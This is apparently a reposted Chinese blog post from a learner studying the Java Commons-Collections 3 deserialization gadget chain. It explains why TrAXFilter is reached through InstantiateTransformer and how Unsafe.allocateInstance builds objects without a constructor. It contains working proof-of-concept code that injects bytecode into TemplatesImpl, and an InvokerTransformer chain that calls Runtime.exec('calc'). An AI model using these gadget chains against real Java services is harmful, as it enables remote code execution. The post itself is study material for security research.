关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象

2024-04-26 03:28

本文主要是介绍关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第一个问题

今天在又看cc3的时候想不通一个问题,就是关于TrAXFilter这个类,我们看到这个类的构造方法

public TrAXFilter(Templates templates)  throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}

会直接触发templates.newTransformer();,而且这个构造方法是public的,所以我根本不需要再添加其他代码,只需要实例化它就可以直接弹出计算机了,为什么还需要InstantiateTransformer类来实例化它呢?

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test1 {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {TemplatesImpl templates= new TemplatesImpl();setFiledValue(templates,"_name","ljl" );byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\javacc3\\target\\classes\\org\\example\\Test.class"));byte[][] codes = {code};setFiledValue(templates,"_bytecodes",codes);setFiledValue(templates,"_tfactory",new TransformerFactoryImpl());TrAXFilter trAXFilter =new TrAXFilter(templates);serialize(trAXFilter);unserialize("1.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}public static void setFiledValue(Object object,String name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {Class clazz = object.getClass();Field field = clazz.getDeclaredField(name);field.setAccessible(true);field.set(object,filed_value);}}

运行后可以弹出计算器

解决

于是带着这个疑惑问了一下java✌,最后也是学到了很多,不得不说,学到了
java✌问了我一个问题?
反序列化的时候会调用这个public的构造方法吗?
我懵逼了,不懂什么意思
然后java✌给我讲解了一番,这里我们看看这样一个例子,还记得cc1链
我们利用Runtime类是这样利用的

Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动notepadnew InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

但是我们看到Runtime

public static Runtime getRuntime() {return currentRuntime;}

是有一个public方法是可以获取到它的,为什么还要这么麻烦呢?
才想起是因为Runtime是没有继承序列化接口的,所以如果你直接实例化它,它是不能进行序列化的,也就不会反序列化了,所以我们得利用继承了序列化接口的类去搭

第二个问题

在讲解的过程中,我们在尝试利用反射去实例化
TrAXFilter类的时候又发生了一个问题

public class Test1 {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException {Class clazz = TrAXFilter.class;Constructor constructor =clazz.getDeclaredConstructor(null);}

在尝试去反射获取构造方法的时候报错

Exception in thread "main" java.lang.NoSuchMethodException: com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter)at java.lang.Class.getConstructor0(Class.java:3082)at java.lang.Class.getDeclaredConstructor(Class.java:2178)at org.example.Test1.main(Test1.java:23)

找不到方法,我们尝试了很久,都没有获取到,于是java爷给我讲了一个unsafe类,可以无视构造方法实例化一个类

public class Test1 {public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException {Class clazz = Unsafe.class;Constructor constructor = clazz.getDeclaredConstructor(null);constructor.setAccessible(true);Unsafe unsafe = (Unsafe) constructor.newInstance(null);Object p=unsafe.allocateInstance(TrAXFilter.class);System.out.println(p);}
//输出com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter@74a14482

可以发现获取成功了,nice,nice

这篇关于关于TrAXFilter类在动态加载的利用思考以及如何无视构造器获取对象的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/936583

相关文章

慢sql提前分析预警和动态sql替换-Mybatis-SQL

《慢sql提前分析预警和动态sql替换-Mybatis-SQL》为防止慢SQL问题而开发的MyBatis组件,该组件能够在开发、测试阶段自动分析SQL语句,并在出现慢SQL问题时通过Ducc配置实现动... 目录背景解决思路开源方案调研设计方案详细设计使用方法1、引入依赖jar包2、配置组件XML3、核心配

springboot使用Scheduling实现动态增删启停定时任务教程

《springboot使用Scheduling实现动态增删启停定时任务教程》:本文主要介绍springboot使用Scheduling实现动态增删启停定时任务教程,具有很好的参考价值,希望对大家有... 目录1、配置定时任务需要的线程池2、创建ScheduledFuture的包装类3、注册定时任务,增加、删

SpringBoot整合mybatisPlus实现批量插入并获取ID详解

《SpringBoot整合mybatisPlus实现批量插入并获取ID详解》这篇文章主要为大家详细介绍了SpringBoot如何整合mybatisPlus实现批量插入并获取ID,文中的示例代码讲解详细... 目录【1】saveBATch(一万条数据总耗时:2478ms)【2】集合方式foreach(一万条数

SpringBoot中配置文件的加载顺序解读

《SpringBoot中配置文件的加载顺序解读》:本文主要介绍SpringBoot中配置文件的加载顺序,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录SpringBoot配置文件的加载顺序1、命令⾏参数2、Java系统属性3、操作系统环境变量5、项目【外部】的ap

python获取网页表格的多种方法汇总

《python获取网页表格的多种方法汇总》我们在网页上看到很多的表格,如果要获取里面的数据或者转化成其他格式,就需要将表格获取下来并进行整理,在Python中,获取网页表格的方法有多种,下面就跟随小编... 目录1. 使用Pandas的read_html2. 使用BeautifulSoup和pandas3.

SpringBoot UserAgentUtils获取用户浏览器的用法

《SpringBootUserAgentUtils获取用户浏览器的用法》UserAgentUtils是于处理用户代理(User-Agent)字符串的工具类,一般用于解析和处理浏览器、操作系统以及设备... 目录介绍效果图依赖封装客户端工具封装IP工具实体类获取设备信息入库介绍UserAgentUtils

Java对象转换的实现方式汇总

《Java对象转换的实现方式汇总》:本文主要介绍Java对象转换的多种实现方式,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录Java对象转换的多种实现方式1. 手动映射(Manual Mapping)2. Builder模式3. 工具类辅助映

SpringBoot基于配置实现短信服务策略的动态切换

《SpringBoot基于配置实现短信服务策略的动态切换》这篇文章主要为大家详细介绍了SpringBoot在接入多个短信服务商(如阿里云、腾讯云、华为云)后,如何根据配置或环境切换使用不同的服务商,需... 目录目标功能示例配置(application.yml)配置类绑定短信发送策略接口示例:阿里云 & 腾

C# foreach 循环中获取索引的实现方式

《C#foreach循环中获取索引的实现方式》:本文主要介绍C#foreach循环中获取索引的实现方式,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录一、手动维护索引变量二、LINQ Select + 元组解构三、扩展方法封装索引四、使用 for 循环替代

Linux下如何使用C++获取硬件信息

《Linux下如何使用C++获取硬件信息》这篇文章主要为大家详细介绍了如何使用C++实现获取CPU,主板,磁盘,BIOS信息等硬件信息,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录方法获取CPU信息:读取"/proc/cpuinfo"文件获取磁盘信息:读取"/proc/diskstats"文